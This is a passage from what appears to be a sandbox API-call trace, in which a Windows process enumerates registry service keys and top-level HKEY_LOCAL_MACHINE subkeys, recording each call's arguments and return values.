Size=0x40) returned 0x21f19b8 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0247.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0247.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0247.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0247.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0247.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0247.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0247.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0247.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0247.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0247.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0247.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0247.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0247.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0247.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0247.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0247.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0247.378] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0247.378] RegCloseKey (hKey=0x154) returned 0x0 [0247.378] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.378] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.378] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.379] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.379] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.379] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.379] 